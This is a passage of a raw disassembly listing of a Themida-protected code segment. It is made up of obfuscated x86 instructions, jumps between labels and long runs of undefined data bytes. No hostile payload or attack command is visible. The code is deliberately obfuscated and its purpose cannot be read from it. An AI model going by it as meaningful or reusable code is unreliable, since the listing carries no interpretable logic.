Themida_:00564C0Fj shr esi, 7 xor esi, 206A3F54h sub eax, esi mov esi, [esp] jmp loc_554ECD ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 33000000h, 4312404h, 24043324h, 21C1685Ch dd 3C890000h, 68565024h, 665C2100h, 0FFCC50E9h, 2404FFFFh dd 4DEF875Fh, 3D2DE9h db 0 ; --------------------------------------------------------------------------- loc_55DD35: ; CODE XREF: Themida_:00556F8Dj mov ecx, [esp] add esp, 4 add eax, edi add eax, 16145A36h jmp loc_558D85 ; --------------------------------------------------------------------------- loc_55DD4A: ; CODE XREF: Themida_:00551DE8j add edx, 0F4017483h mov eax, edx pop edx push eax mov eax, 1F59481Ch add ecx, 707750B7h jmp loc_565CA9 ; --------------------------------------------------------------------------- dd 612EC581h, 0DDF73690h, 8AEBE955h, 48BFFFFh, 4C48324h dd 0E9E28952h, 0FFFFB837h, 0D4068h, 2F9CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD8A: ; CODE XREF: Themida_:0055C122j push eax mov eax, 7B8719E3h add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_565510 ; --------------------------------------------------------------------------- db 81h dd 0C42039C6h, 32EE8177h, 81758E11h, 582B83C6h, 0D472E93Eh dd 65E9FFFFh, 83FFFF26h, 0A205FFC0h, 0E948D63Fh, 0FFFF74A7h dd 0B05F801h, 5F38002Eh, 0FFD898E9h, 4C481FFh, 31000000h dd 8F66C3h, 0FF263BE9h, 58C501FFh, 0E95DEB29h, 6C73h, 0CDF18159h dd 0E9274157h, 0FFFF6AB6h, 361CBA52h, 0D2F70679h, 0EAEE281h dd 81423B74h, 7F258AF2h, 88EDE91Dh, 0C381FFFFh, 4, 5304EB83h dd 0FF76E3E9h, 0E930B2FFh, 0FFFFF205h, 815EF129h, 652A25F1h dd 0CEBB5375h, 0E925F12Fh, 6068h ; --------------------------------------------------------------------------- loc_55DE40: ; CODE XREF: Themida_:00555B69j add ebp, ecx pop ecx xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_5514E6 ; --------------------------------------------------------------------------- db 0B6h dd 0E9F000D0h, 0FFFF4B56h, 2BFh, 0E9F88900h, 0FFFF97E0h dd 0F381DBF7h, 0F9F825FFh, 1D79E9h, 24043100h, 5DB4E99Ch dd 0A1E90000h, 8BFFFF25h, 0C483241Ch, 54505304h, 40558h dd 0E8830000h, 24048704h, 2414895Ch, 82682AB6h, 89000041h dd 76E92404h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DEA7: ; CODE XREF: Themida_:0055783Ej not ch inc ch or ch, 90h xor ch, 3Ah push eax mov ah, 0A0h add ah, 0D9h add ch, 0BCh add ch, ah jmp loc_550621 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0E9E1F65Ch, 7CCBh, 0CD25E951h, 54BAFFFFh, 8129EC01h dd 13FEB0C2h, 0ABBCE9D6h, 2968FFFFh, 0E900006Eh, 0FFFFF0B5h ; --------------------------------------------------------------------------- loc_55DEEC: ; CODE XREF: Themida_:0055557Bj add esp, 4 push 1DFCh jmp loc_5607C7 ; --------------------------------------------------------------------------- dd 33243C31h, 0D25C243Ch, 0E99C243Ch, 0FFFF2514h, 9D1C77FFh dd 11665866h, 0E99C2404h, 0FFFF2504h, 24048B66h, 0E9E18951h dd 288Eh ; --------------------------------------------------------------------------- loc_55DF28: ; CODE XREF: Themida_:0056066Ej xor eax, edi xor edi, eax jmp loc_55CD39 ; --------------------------------------------------------------------------- db 5, 0DFh, 23h dd 0F02909FAh, 0FA23DF2Dh, 0E7BB5309h, 0D160D97Eh, 0C0C381EBh dd 81240C6Bh, 0F11210E3h, 9DE95715h, 0FE000043h, 1DACE9C1h dd 0C3810000h, 4, 5C241C87h, 2C8BEA01h, 4C48124h, 0E9000000h dd 36B0h, 90E965B1h, 5B00001Bh, 47D1BE56h, 0F6816124h dd 612447D5h, 5AE9F301h, 0ADFFFFC2h, 9565E957h, 0DE68FFFFh dd 89000034h, 53E92434h, 0BE000058h, 4972AB7h, 0D8BCE81h dd 0F6813A07h, 55AD28C5h, 0FFDBC9E9h, 7E6C1FFh, 0F681DEF7h dd 92588643h, 8EE9F029h, 81FFFF3Eh, 4ECh, 24248900h, 14F7E9h dd 0EED8100h, 0E97CD141h, 0FFFF4A0Fh, 835DE801h, 2FE902C0h dd 81000052h, 4C1h, 4C18100h, 51000000h, 42474FFh, 24048F59h dd 5DD5E9h, 24048900h, 0E9565854h, 0FFFFE448h ; --------------------------------------------------------------------------- loc_55E018: ; CODE XREF: Themida_:00554CEBj mov dh, 0CBh mov al, dh pop edx jmp loc_557E4A ; --------------------------------------------------------------------------- dw 2A68h dd 89000015h, 0DEE9241Ch, 89FFFF9Ch, 4C581E5h, 83000000h dd 2C8704C5h, 0C875C24h, 34FF5C24h, 2C685924h, 8900002Ch dd 0E956243Ch, 0FFFF2D3Ah ; --------------------------------------------------------------------------- loc_55E054: ; CODE XREF: Themida_:00556A86j and edx, ecx jmp loc_55B607 ; --------------------------------------------------------------------------- db 2Dh dd 9307C03h, 12C68h, 243C8900h, 0F57843BFh, 1BDB2D07h dd 0AA057DA8h, 0E9221762h, 0FFFFEA8Dh, 243C895Ch, 0FA89EF89h dd 0FFECCAE9h, 148B66FFh, 2C48324h, 0A3B55153h, 0FF6C9AE9h dd 0A9E980FFh, 7480E9h, 0E9515700h, 75C7h, 0E9243C8Bh dd 514Dh, 24048966h, 0E33055B4h, 0B5515866h, 0C5ED80A0h dd 80E8B652h, 0EE805CCEh, 5AF52020h, 2995E9h, 24143300h dd 8924248Bh, 0EC81241Ch, 4, 0E9242489h, 0FFFF57A3h, 0BF243C89h dd 3E6028ECh, 0A872E956h, 15FFFFFh, 780CE9C8h, 0E9590000h dd 0FFFFCAB7h, 8704C183h, 525C240Ch, 0EC81E289h, 4, 0E9242C89h dd 0FFFFCB8Ah, 57E8E952h, 148BFFFFh, 7105E924h, 0B8500000h dd 61F80844h, 0FFCA24E9h, 7862B8FFh, 0B0E93DFFh, 80FFFF31h dd 0CC8084F4h, 8DE0E99Ch, 481FFFFh, 424h, 0EBE95E00h, 8BFFFFC6h dd 0C1E92424h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E15F: ; CODE XREF: Themida_:00554338j add edi, edx pop edx xchg edi, [esp] pop esp and ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx jmp loc_5649F2 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 9B5028BAh, 5AD5291Bh, 0F42E958h, 0FDBB0000h, 214C4107h dd 2434FFDAh, 0DE3BE95Bh, 814EFFFFh, 727BFDC6h, 0CC80E983h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1B2: ; CODE XREF: Themida_:0055CC28j add eax, 2DA056E9h sub eax, ecx sub eax, 2DA056E9h sub eax, 61D37602h jmp loc_55BF7B ; --------------------------------------------------------------------------- dd 0E95FF801h, 6D29h, 0BB535854h, 0E025DF4h, 0A3685552h dd 5D6B2568h, 9E74E94Dh, 8305FFFFh, 14F140Eh, 0E832DD8h dd 34FF4F14h, 68535B24h, 74FEh, 6112E9h, 35EE8100h, 0F73E9924h dd 0C3E955D6h, 89000020h, 43BA2414h, 0E95CB215h, 0FFFFAD2Fh ; --------------------------------------------------------------------------- loc_55E21C: ; CODE XREF: Themida_:005566CFj add esp, 4 add ecx, 0FFFFFFFFh sub esp, 4 mov [esp], eax mov eax, 47D940DDh add eax, 0EAAE2CEEh and ecx, eax pop eax sub ecx, 31E36D92h xor ecx, 3F7B5C12h sub esp, 4 mov [esp], ebp mov ebp, 0CFD8A021h jmp loc_5526BF ; --------------------------------------------------------------------------- dd 4EC81h, 60E90000h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E25F: ; CODE XREF: Themida_:0055848Ej add esp, 4 push ecx jmp loc_55C992 ; --------------------------------------------------------------------------- loc_55E268: ; CODE XREF: Themida_:00564590j mov eax, 6F116060h xor eax, esi jmp loc_564F73 ; --------------------------------------------------------------------------- dd 0C581C501h, 0F9235C2h, 46FCED81h, 48B5537h, 4C48124h dd 51000000h, 2204B850h, 932D01DCh, 0C17E8C3Fh, 5E6808E8h dd 0E900005Eh, 0FFFF5B35h, 0F01C472Dh, 696DE93Fh, 5004FFFFh dd 0CECBE952h, 595FFFFFh, 34FFD821h, 241C8B24h, 6804C483h dd 41AFh, 0FF5D05E9h, 1C895CFFh, 2474FF24h, 48F5B04h, 5768E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E2DE: ; CODE XREF: Themida_:00558BD0j push 77C4h mov [esp], edi mov edi, 580059DAh jmp loc_561800 ; --------------------------------------------------------------------------- dd 49A2F581h, 0ED813AC4h, 0E9DF928Bh, 515DE931h, 0C181E189h dd 4, 4E981h, 0C870000h, 0C895C24h, 5128E924h, 0E0BD0000h dd 0B861371Eh, 0DFA32926h, 0E95DE829h, 0FFFF31E1h, 81E38953h dd 4C3h, 4C38300h, 2474FF53h, 8EE95B04h, 68FFFFB0h, 48DB062Eh dd 0FFBF5DE9h, 74C281FFh, 5025566Dh, 0ABB95152h, 8115DC3Dh dd 77535CC1h, 6DE98157h, 4163A65Fh, 8106E1C1h, 2EE960C1h dd 59CA89B2h, 0FFAA27E9h, 9BE981FFh, 8101CF44h, 5F290EC1h dd 7EAFB87Dh, 0C8294F9Ah, 5EC68159h, 1799A23h, 4BE953C6h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E39B: ; CODE XREF: Themida_:005511D4j sub [esp+4], ebp jmp loc_56434E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55F2A9 ; --------------------------------------------------------------------------- db 29h dd 6FEE81FEh, 511D3F22h, 0C10EEEB9h, 0F7D9F743h, 47BDE9D9h dd 6855FFFFh, 63D05E8Fh, 7C68535Dh, 5B622106h, 5506E3C1h dd 0D260A8BDh, 0E73E918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3EE: ; CODE XREF: Themida_:0055200Fj add esp, 4 push edi jmp loc_56107C ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 201AE99Ch, 6C81FFFFh, 7B20824h dd 44811A8Fh, 32580824h, 37E97D53h, 5EFFFF2Ah, 0F704EFC1h dd 0ACF81D7h, 813C6214h, 8C6343EFh, 8EFC17Bh, 46C6EF81h dd 0FB29ABCAh, 1EAE9h, 4AC78100h, 1408E99h, 0C8015FF9h dd 0FFA8A9E9h, 0DDE952FFh, 50000041h, 413459B8h, 0F2BF5702h dd 8914F4F3h, 0C3015FFBh, 1012E9h, 81DAF700h, 0EEBE8EF2h dd 86BE56EEh, 122EB61h, 0D3015EF3h, 6186EB81h, 148B22EBh dd 4C48324h, 0FFF62DE9h, 243C87FFh, 6FE9515Ch, 57FFFF28h dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 8024248Bh, 42E96DEBh db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4B3: ; CODE XREF: Themida_:00562343j mov ah, 0C0h push ecx sub esp, 4 mov [esp], edx mov dh, ah mov ch, dh mov edx, [esp] add esp, 4 inc ch mov ah, ch jmp loc_555A08 ; --------------------------------------------------------------------------- loc_55E4D5: ; CODE XREF: Themida_:0055AFB1j not edx shl edx, 4 jmp loc_55BD5A ; --------------------------------------------------------------------------- db 68h dd 6FAEh, 54241489h, 4EC835Ah, 55241C89h, 59E5B951h, 0CD894018h dd 0D9B8E959h, 0FE01FFFFh, 186AE9h, 0F6CB8600h, 30CB30D1h dd 50CB30D9h, 6866DEB4h, 8BE9321Fh, 1FFFF4Bh, 0B7EE81DEh dd 5B722065h, 0E904EE83h, 0FFFF4C9Dh ; --------------------------------------------------------------------------- loc_55E52C: ; CODE XREF: Themida_:00564E0Cj mov ecx, 78812FC3h and ebp, ecx push dword ptr [esp] jmp loc_55F5DA ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 0FF215AE9h, 39CD81FFh, 81418E17h, 0CC5D05C5h dd 0FFEA31EFh, 0FDE92434h, 5FFFFF77h, 2FF3BB53h, 0E3D14CCEh dd 0FF37B1E9h, 243C89FFh, 0E3685F54h, 89000051h, 4B82404h dd 1000000h, 0BB5358C7h, 7A4C05A6h, 8105EBC1h, 907173CBh dd 0DE38135h, 0E95A8535h, 0C4h, 505FF831h, 0A3659DB8h dd 1F89E92Ch, 0C3810000h, 2, 8B241C87h, 0D0E92424h, 0B8FFFF32h dd 271725FBh, 2AD0E9h, 64090500h, 685E7225h, 59B1h, 0E9240489h dd 0FFFFF6F1h, 0C288C888h, 0E924048Bh, 0FFFFC4D3h, 15DEF29h dd 9C781DFh, 8B2FBB3Bh, 0C483241Ch, 243C8704h, 2434FF5Ch dd 86F6E95Ah, 0C483FFFFh, 71A2E904h, 895F0000h, 81515EF1h dd 4ADA242Ch, 815E7DC4h, 0C44ADAC6h, 240C8B7Dh, 4C481h dd 0CDE90000h, 5FFFFF87h, 5A2434FFh, 0FFA9BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E631: ; CODE XREF: Themida_:00562D56j push esi mov esi, 24E559F4h xor edx, esi jmp loc_557883 ; --------------------------------------------------------------------------- dw 0F581h dd 653F1A83h, 69B9E9h, 0C8B6600h, 0E9535624h, 0FFFFA9CFh dd 0E95AD430h, 2B90h, 3109F381h, 0C7811280h, 59281C69h dd 0BA52DF29h, 70F83345h, 55FFE281h, 0F2811CB5h, 3D3B3D0Eh dd 0FF8F4BE9h, 14F756FFh, 0DEF75E24h, 0FF954EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E68D: ; CODE XREF: Themida_:00562156j mov ecx, [esp] add esp, 4 push edx push edi mov edi, 16545F5Bh mov edx, 0E9ABA0A4h add edx, edi pop edi add ebp, 3AFD160Dh jmp loc_562095 ; --------------------------------------------------------------------------- db 0BAh, 0E5h, 4Ah dd 0E1686405h, 5864054Ah, 0DBE9D031h, 58FFFF63h, 31243433h dd 0D9E92434h, 81FFFFB2h, 0C03967E9h, 0D8E98140h, 92E9E7Eh dd 19E959CFh, 0B900004Ah, 0D046478h, 0D744FDBDh, 0E9CD31D7h dd 0FFFFD3D5h, 0D8F65B66h, 0C134C8FEh, 48BC788h, 4C48124h dd 80000000h, 0E7809AEFh, 19B5519Eh, 0EDC0DDF6h, 0F6CDFE02h dd 80C5FED5h, 41E92AE5h, 5BFFFFBEh, 8B242C87h, 28E92424h dd 87FFFFB2h, 248B243Ch, 240C8924h, 0FF7B92E9h, 24048FFFh dd 8924248Bh, 0EC832414h, 241C8904h, 0AA044768h, 0C3815B61h dd 3AD76012h, 0FFEF29E9h, 0B65259FFh, 0F0CE805Eh, 4A26E9h dd 24248B00h, 24043166h, 1CAEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E772: ; CODE XREF: Themida_:0055A528j xchg eax, [esp] mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- db 55h, 56h, 0BEh dd 45451917h, 0FFD8EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E789: ; CODE XREF: Themida_:0055A040j push dword ptr [esp] pop eax jmp loc_559FF5 ; --------------------------------------------------------------------------- dw 0F101h dd 56C2C181h, 875E46D8h, 515C240Ch, 437309B9h, 59C8016Dh dd 6B91E9h, 240C8B00h, 0E9E08950h, 0FFFFA8CFh ; --------------------------------------------------------------------------- loc_55E7B8: ; CODE XREF: Themida_:0055D1EFj mov ah, dh pop edx xor ah, dl pop edx mov dh, ah jmp loc_55F48A ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BB53E189h, 74946A36h, 0ADBD5552h, 897BD756h, 242C8BEAh dd 3104C483h, 0EFDDE9D3h, 0E95AFFFFh, 0FFFF7C23h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 53243489h, 0E92E87BBh, 0E9DE8966h dd 0FFFF8ADFh, 52AFE380h, 0CA8011B2h, 0F6CAFE49h, 9FB151DAh dd 0FFF736E9h, 4F095CFFh, 8BE9591Ch, 53FFFFF5h, 63FCE9h dd 75DD6800h, 4890000h, 7E9F6824h, 82E90000h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E843: ; CODE XREF: Themida_:00561983j push ebx jmp loc_561374 ; --------------------------------------------------------------------------- db 29h, 0F1h, 5Eh dd 4108E1C1h, 0E903E1C1h, 0FFFF7442h, 0A7E95559h, 89FFFF60h dd 0B850240Ch, 3FCh, 0C5E95056h, 5C000039h, 4EC81h, 3C890000h dd 2474FF24h, 243C8B04h, 8F04C483h, 0F5C2404h, 0A0E9C8AFh dd 5900000Eh, 31241433h, 14332414h, 24248B24h, 68241C89h dd 1331h, 52243C89h, 5277E9h, 0C7026800h, 0CDE9B0B0h, 8900004Dh dd 4C581E5h, 83000000h, 2C8704C5h, 0F5295C24h, 243C8B5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4CB20C3h shl edi, 5 jmp loc_556ADE ; --------------------------------------------------------------------------- loc_55E8DD: ; CODE XREF: Themida_:00562189j pop edi add esp, 4 sub ebp, 2801000h add eax, ebp mov ebp, [esp] jmp loc_558EF2 ; --------------------------------------------------------------------------- dd 7BACEA81h, 51581ED5h, 24D0FB9h, 8E1C16Ah, 0C1FFC183h dd 0D9F704E9h, 0E907E9C1h, 13A1h, 0D789CA89h, 0A53EE95Ah dd 0F759FFFFh, 0B1F181D9h, 0E9468D7Ah, 0FFFF8E64h, 0E95AD589h dd 0FFFFAE3Dh ; --------------------------------------------------------------------------- loc_55E934: ; CODE XREF: Themida_:0055A944j sub esp, 4 mov [esp], edx mov edx, 1470710Dh mov edi, edx jmp loc_564A75 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0EE170468h, 0C6815E1Dh, 0E211E900h, 0C7E9F589h, 55FFFFEBh dd 4B90E9h db 0 ; --------------------------------------------------------------------------- loc_55E965: ; CODE XREF: Themida_:00565212j xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 4 add edi, 143B48C7h add edi, ecx sub edi, 143B48C7h jmp loc_557518 ; --------------------------------------------------------------------------- dd 5DBD555Eh, 8174594Eh, 0D81043C3h, 57EB2973h, 1F1A1ABFh dd 81DFF724h, 30F82F7h, 5135E975h, 34FF0000h, 2EE95A24h dd 81FFFF77h, 0BD3754EFh, 4E7C108h, 1F84F781h, 0E956B5EBh dd 2EE1h, 685Fh, 34FF0000h, 241C8B24h, 0FF4742E9h, 47E956FFh dd 500000Fh, 671903A3h, 50D2E9h, 0FF595C00h, 0C8B2434h dd 4C48324h, 85EDE955h, 0BD55FFFFh, 4, 815DEF01h, 4C7h dd 243C8700h, 0FF5276E9h, 3573BFFFh, 0F82976D8h, 0FF895AE9h dd 0C3814BFFh, 0E36A1CADh, 0E95BDE01h, 0FFFFC322h, 5C24048Fh dd 0FFCF60E9h, 685557FFh, 3C7215BAh, 53EE9h, 34FF5800h dd 0C4835F24h, 75A76804h, 14890000h, 301BA24h, 0B95115FEh dd 7FCD743Ah, 0FF5915E9h, 240C87FFh, 4EC835Ch, 0BF243C89h dd 6DE94B01h, 3525E9h, 0F6B95100h, 0C1639526h, 0C18104E9h dd 0FFFFFFFFh, 2F3FE9h, 5AD52900h, 15DE931h, 68BEE9C8h dd 5556FFFFh, 83428D68h, 57535D4Eh, 9D7676BFh, 0CBF2E94Ah dd 48BDFFFFh, 0E95E1132h, 54FEh, 0C281E289h, 4, 8704C283h dd 805C2414h, 0EDE9ADEFh, 81000018h, 857D33C3h, 6BE95832h dd 56FFFFC8h, 0FF79B6E9h, 8BCF01FFh, 8951240Ch, 4C181E1h dd 83000000h, 0C8704C1h, 0FD7DE924h, 0F281FFFFh, 142C2373h dd 2EBFEA81h, 0D101F6C6h, 4C1815Ah, 33000000h, 0C31240Ch dd 240C3324h, 61BD555Ch, 0E93EFF0Ch, 0FFFF1B62h, 5503E2C1h dd 2378D4BDh, 5DEA29E0h, 5BBEE9h, 243C8B00h, 4C481h, 0C2810000h dd 462154D8h, 0BF5E9h, 243C8B00h, 0E9E18951h, 0FFFFEAEAh dd 8704C483h, 665C2434h, 66266068h, 68241C89h, 1E29h, 0B5240C89h dd 68CBh, 4800000h, 0A3E90724h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB73: ; CODE XREF: Themida_:0055F76Bj push 2C5Fh mov [esp], ecx jmp loc_551491 ; --------------------------------------------------------------------------- dd 6FB2525Ch, 34B75366h, 0F7E9FA28h, 52h, 0E95A66D0h, 0FFFFBC7Bh ; --------------------------------------------------------------------------- loc_55EB98: ; CODE XREF: Themida_:005633F6j mov ebx, [esp] jmp loc_55C52F ; --------------------------------------------------------------------------- dd 80F0C680h, 0F788E5C6h, 41BFE95Ah, 0CE050000h, 814E84BFh dd 977A1CEBh, 0E9C32934h, 0FFFF567Bh, 53EB8953h, 2C8B5B58h dd 0BC64E924h, 814BFFFFh, 897AAEF3h, 5BD98902h, 0FFB932E9h dd 0E9DA01FFh, 0FFFFD5BCh, 4C48158h, 81000000h, 0ED3787EBh dd 0E9DD0142h, 133Dh, 2404895Ch, 0BF57E089h, 0AB44BAEh dd 0C108EFC1h, 0CF8108EFh, 73FB6899h, 0FF5286E9h, 81E789FFh dd 4C7h, 4EF8100h, 0E9000000h, 4BF6h, 4C481h, 555F0000h dd 25068h, 24048900h, 0D0643A68h, 38355804h, 503C6203h dd 24048B5Dh, 4C481h, 57560000h, 25B968h, 242C8900h, 813C2ABDh dd 0A32DBF1Ah, 0EF295333h, 4EC815Dh, 89000000h, 8B5E243Ch dd 3E9243Ch, 55FFFF1Bh, 38176857h, 0C15F3128h, 8DE908EFh dd 89000010h, 68522434h, 56C10B2Bh, 8324148Bh, 0B3E904C4h dd 0B900005Eh, 6B875D13h, 0C181D9F7h, 393F2144h, 22F0E9h dd 5D82900h, 6BDE5BBBh, 9135FF2Dh, 6A7D2D20h, 79E943AFh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ECC3: ; CODE XREF: Themida_:00560A43j mov ebx, 6B440506h dec ebx xor ebx, 352663F8h sub ebx, 5E6266F9h jmp loc_556540 ; --------------------------------------------------------------------------- dw 2C5Ah dd 2B686608h, 14BE979h, 0FF510000h, 59042474h, 5496E9h db 0 ; --------------------------------------------------------------------------- loc_55ECF1: ; CODE XREF: Themida_:0055A702j add edi, ebx jmp loc_556C6B ; --------------------------------------------------------------------------- dd 4C581h, 0C5830000h, 242C3304h, 33242C31h, 248B242Ch dd 58C72924h, 6A5BEF81h, 0EF817021h, 77054E89h, 0C781CF01h dd 77054E89h, 6A5BC781h, 0C7817021h, 7E21219Ah, 43DD68FDh dd 4890000h, 57E08924h, 0FF62FBE9h, 4C481FFh, 0E9000000h dd 0FFFF8DA5h, 614FEB81h, 0F3297354h, 46768h, 24348900h dd 0E03DF8BEh, 0A9EE8177h, 1048BDCh, 0EB815EF3h, 0FD411DEh dd 0FF8A0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED75: ; CODE XREF: Themida_:005566BFj push edx mov edx, 278C7679h shl edx, 7 jmp loc_55C4F3 ; --------------------------------------------------------------------------- db 40h dd 6449B951h, 0C8311816h, 0FF3D67E9h, 8A134FFh, 30E958C2h dd 0BAFFFFBAh, 0 aBMBMviS8 db 'ęÇ',9,'ÁM)ĘÂÇ',9,'ÁMVÖé8-',0 align 2 loc_55EDB6: ; CODE XREF: Themida_:0055A760j sub ebx, 4 xchg ebx, [esp] pop esp push 3358h jmp loc_562C6F ; --------------------------------------------------------------------------- dw 7724h dd 0F10C7B2Ch, 5D7DE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDD6: ; CODE XREF: Themida_:005514E1j xor ecx, eax xor eax, ecx sub esp, 4 mov [esp], ecx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_552FE5 ; --------------------------------------------------------------------------- dw 0F829h dd 5F2434FFh, 4C481h, 2C810000h, 7F0D8624h, 2404011Fh dd 90468h, 9B23E900h, 0E589FFFFh, 72DCBB53h, 93E93DA1h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE1B: ; CODE XREF: Themida_:00557C86j sub ecx, 1F59481Ch jmp loc_55AA4B ; --------------------------------------------------------------------------- loc_55EE26: ; CODE XREF: Themida_:00559A12j add ebx, 4 jmp loc_55C893 ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 0EC835024h, 240C8904h, 0FFAC51E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE41: ; CODE XREF: Themida_:00557BD6j add ebx, 3CD23762h inc ebx shl ebx, 4 and ebx, 5E361994h add ebx, 174B53C3h add edi, ebx pop ebx push eax push 146661DBh pop eax add edi, 1C6B580Ch sub edi, eax sub edi, 1C6B580Ch pop eax push eax jmp loc_554AF5 ; --------------------------------------------------------------------------- dw 0F381h dd 0E9763F89h, 0E95BD931h, 1657h, 0DB1B7C68h, 0EE815E52h dd 52DB1B7Ah, 0EDE9F289h, 8BFFFFFAh, 8B662424h, 83502404h dd 0DCE904ECh, 5200001Ch, 0FFE0B2E9h, 0C8B66FFh, 58506824h dd 1C890000h, 1C8B5424h, 4C48324h, 3FA868h, 24048900h dd 468h, 0BD555800h, 24AC71B7h, 0E581D5F7h, 77724951h dd 4F31C581h, 0B951D992h, 39D30A3Eh, 5616E9h, 9CC83B00h dd 0FF152BE9h, 0C4835EFFh, 3DC68104h, 2D5B1DCBh, 7F207A9Ah dd 0FFF028E9h, 5DE95BFFh, 88FFFFBEh, 1889E9F4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF16: ; CODE XREF: Themida_:00555CD0j mov [esp], ecx jmp loc_560A0F ; --------------------------------------------------------------------------- dw 565Fh dd 0BB353DBEh, 5EF33159h, 24048353h, 0A6E95BFFh, 5CFFFF62h dd 0BA241489h, 38002E0Bh, 0E95AD029h, 0FFFFEE84h, 2BD555Ch dd 1000000h, 0FF515DE9h, 0FF042474h, 0C5E92434h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF5B: ; CODE XREF: Themida_:0056213Ej sub edx, 8051B3E6h sub ebp, 264D1577h jmp loc_56034F ; --------------------------------------------------------------------------- dd 2BBB5356h, 89201022h, 29E95BDEh, 5D00004Eh, 0FFEDE3E9h dd 7BBA52FFh, 0C10EDC07h, 0F28106E2h, 3AD6033Ch, 81F0EA81h dd 0EB8140C4h, 259D76F9h, 0C381D301h, 259D76F9h, 4EC835Ah dd 0E9243489h, 0FFFF62DFh, 0A33C7DBBh, 0C1D3F70Eh, 0AFE903E3h dd 0BD000010h, 32426CC6h, 4246C29h, 24148B5Dh, 0FF7F20E9h dd 240489FFh, 53EAE955h, 28580000h, 0DBC280FAh, 81241C8Bh dd 4C4h, 0E96B2C00h, 0FFFFBEF2h, 5BDE2958h, 0FFC706E9h dd 247C8AFFh, 24548802h, 148B6602h, 0E1895124h, 4C181h dd 0BB530000h, 2, 875BD901h, 0E95C240Ch, 0FFFF1400h, 348BF001h dd 74DFE924h, 7768FFFFh, 89000002h, 8FBD242Ch, 686B6D53h dd 3E8Ch, 0E9242C89h, 0FFFF46C7h, 760E7B05h, 3DD0E929h dd 0E1C10000h, 0EC835704h, 242C8904h, 4B0E9h, 5FF92900h dd 0FCEE9h, 11BA5200h, 4A1BB107h, 0C281D2F7h, 1BB10715h dd 0E95AD689h, 0FFFFBD49h, 314E957h, 34310000h, 24343324h dd 6624248Bh, 6824048Bh, 7CDEh, 68243489h, 25D2h, 83242489h dd 8B042404h, 89572434h, 4C781E7h, 83000000h, 3C3304C7h dd 243C3124h, 5C243C33h, 4EC81h, 1C890000h, 4BB24h, 7EE90000h dd 5FFFFF1Bh, 0E904EC83h, 35E2h, 8B242C87h, 0F662424h dd 9C2404A3h, 0FF1337E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F0E9: ; CODE XREF: Themida_:005642CBj not eax sub eax, 0A5DF9F7h add ecx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebx mov ebx, 4 jmp loc_55CE1C ; --------------------------------------------------------------------------- dd 6602EC83h, 0B5240C89h, 66E800D2h, 0E9240C8Bh, 0FFFF974Dh dd 0F5E9F889h, 81FFFF75h, 4C3h, 82FEE900h, 0E9ACFFFFh dd 3FDh, 67D9BB53h, 0E381121Fh, 2601331Fh, 3609B951h, 0E9813792h dd 12A07EFDh, 6FB5C181h, 0CB09F4FAh, 0FFA998E9h, 2E8C1FFh dd 507E0C1h, 17496A1Fh, 48BC329h, 4C48324h, 9C5EB81h, 0CB2948FAh dd 0FFD624E9h, 48BD55FFh, 0E9DB7961h, 0FFFFC13Ah, 16DCEE81h dd 0D60179A5h, 16DCC681h, 685579A5h, 5E61h, 0BA241489h dd 57241459h, 148BD589h, 4C48324h, 0BBC68h, 242C8900h dd 0FFBFBFE9h, 0C3ED81FFh, 0E976AF04h, 2120h, 19066866h dd 8B76866h, 8F665466h, 0EC832404h, 3C896602h, 0B8665024h dd 50660002h, 24048166h, 5F66289Ch, 9CEF8166h, 0CD8EE928h dd 0BF57FFFFh, 32AC16BFh, 0FFC6F2E9h, 0E98149FFh, 7AE5A543h dd 0FF230EE9h, 4EC81FFh, 89000000h, 0E951241Ch, 0FFFF622Fh ; --------------------------------------------------------------------------- loc_55F228: ; CODE XREF: Themida_:005526A4j add ecx, 4 sub esp, 4 mov [esp], ebp jmp loc_55FBCC ; --------------------------------------------------------------------------- dd 610C68h, 24348900h, 